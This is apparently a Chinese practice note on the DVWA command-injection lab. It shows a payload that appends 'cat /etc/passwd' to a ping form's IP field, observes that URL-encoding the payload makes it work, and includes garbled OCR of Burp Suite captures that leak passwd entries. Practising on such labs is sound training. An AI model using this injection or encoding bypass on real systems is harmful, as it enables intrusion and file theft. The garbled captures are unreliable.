发现一个有趣的现象，你直接

 

 

比如，你直接那ip=127&cat /etc/passwd 是出不来的，但是url编码后，就能出来，说明编码很重要

Target: http://45.77.219.180 Request Params Headers Hex POST /dvwa/vulnerabilties/exec/ Host 45 77 219M80 Content-Length: 42 Cache-control: max-age=O origin: http://45 77 80 Upgrade-Insecure-Requests I Content-Type: application/x-www-form-urlencoded User-Agent: MozillaE0 cwndovvs NT 10 0, ApplewebKtE37 36 (KY-HTML, like Gecko) Chromeno 0 3538M 10 safariE37 36 Accept: text'html ,application/xhtml+xml g ,image/webp ,image/apng 8 Referer: http:.'.'4S 77 21 80/dvwa/vuInerabiIties/exec/ Accept-Encoding: gzip, deflate Accept-Language: Cookie: securty=low, PHPSESSID=bI p02pvsg06cdIh2gujgsqts04; JSESS10NlD=otv8cwKGntMgc1 b6n1 cbnhc2bw84xzKmh8fGprh7kLrr0GLz1 QbU761277062 Connection: close Response Headers Hex HTM L Render Enter an IP address: <input type='text" name="ip" > <input type="submt" name="Submt" Network dbus:x:81:81:System message bus:WsbinmoIogin for dockerroot:x:996:993:Docker

 

 

 

 

 

 

Target: http://45.77.219.180 Request Params Headers Hex POST vwa/vulnerabilties/exec/ Host 45 77 219M80 Content-Length: 68 Cache-control: max-age=O origin: http://45 77 80 Upgrade-Insecure-Requests I Content-Type: application/x-www-form-urlencoded User-Agent: MozillaE0 cwndovvs NT 10 0, ApplewebKtE37 36 (KY-HTML, like Gecko) Chromeno 0 3538M 10 safariE37 36 Accept: text'html ,application/xhtml+xml g ,image/webp ,image/apng 8 Referer: http:.'.'4S 77 21 80/dvwa/vuInerabiIties/exec/ Accept-Encoding: gzip, deflate Accept-Language: Cookie: securty=low, PHPSESSID=bI p02pvsg06cdIh2gujgsqts04; JSESS10NlD=otv8cwKGntMgc1 b6n1 cbnhc2bw84xzKmh8fGprh7kLrr0GLz1 QbU761277062 Connection: close Response Headers Hex HTML >Ping a Render <form name="ping" action="#" Enter an IP address: <input type='text" name="ip" > <input type="submt" name="Submt" Network dbus:x:81:81:System message for dockerroot:x:996:993:Docker

 

 

 

不编码，就没有

Target: http://45.77.219.180 Request Params Headers Hex POST /dvwa/vulnerabilties/exec/ Host 45 77 219M80 Content-Length: 37 Cache-control: max-age=O origin: http://45 77 80 Upgrade-Insecure-Requests I Content-Type: application/x-www-form-urlencoded 1 Response Headers Hex HTML >Ping a Render User-Agent: MozillaE0 cwndovvs NT 10 0, ApplewebKtE37 36 (KY-HTML, like Gecko) Chromeno 0 3538M 10 safariE37 36 Accept: text'html ,application/xhtml+xml g ,image/webp ,image/apng 8 Referer: http:.'.'4S 77 21 80/dvwa/vuInerabiIties/exec/ Accept-Encoding: gzip, deflate Accept-Language: Cookie: securty=low, PHPSESSID=bI p02pvsg06cdIh2gujgsqts04; JSESS10NlD=otv8cwKGntMgc1 b6n1 cbnhc2bw84xzKmh8fGprh7kLrr0GLz1 QbU761277062 Connection: close ip=1 278cat /etc/passwdVBSubmt=Submt <form name="ping" action="#" method="post Enter an IP address: <input type='text" name="ip" <input type="submt" name="Submt" href="http://wwwscribdcom/doc.Q530476.Php-Endangers-Remote-Code-Execution" target = " _bIank">http://www.scribd.com/docQ530476Php-Endangers-Remote-Code-ExecutionOa><Ai> href="http:.Twww ss64 conwbash/' target="_bIank">http://www.ss64.conwbash/</a><Ai> a href="http:.Twww ss64com/nt/' target="_bIank">http://www.ss64.com/nt/</a><Ai> href="https//wwwowasporg"ndexphpycommand_lnjection" target=" _blank">https://www.owasp.orgnndex.phpycommand_InjectionOa><Ai> <br

 

 

 

 

 

全编码，依然可以有

Target: http://45.77.219.180 Request w Params Headers Hex POST /dvwa/vulnerabilties/exec/ Host 45 77 219M80 Content-Length: 74 Cache-control: max-age=O origin: http://45 77 80 Upgrade-Insecure-Requests I Content-Type: application/x-www-form-urlencoded User-Agent: MozillaE0 cvundows NT 10 0, ApplewebKtE37 36 (KY-HTML, like Gecko) Chromeno 0 3538M 10 safariE37 36 Accept: text'html ,application/xhtml+xml g ,image/webp ,image/apng 8 Referer: http:.'.'4S 77 21 80/dvwa/vuInerabiIties/exe Accept-Encoding: gzip, deflate Accept-Language: Cookie: securty=low, PHPSESSID=bI p02pvsg06cdIh2gujgsqts04; JSESS10NlD=otv8cwKGntMgc1 b6n1 cbnhc2bw84xzKmh8fGprh7kLrr0GLz1 QbU761277062 Connection: close Response w Headers Hex HTML Render <input type="submt" name="Submt" Network dbus:x:81:81:System message bus:WsbinmoIogin for dockerroot:x:996:993:Docker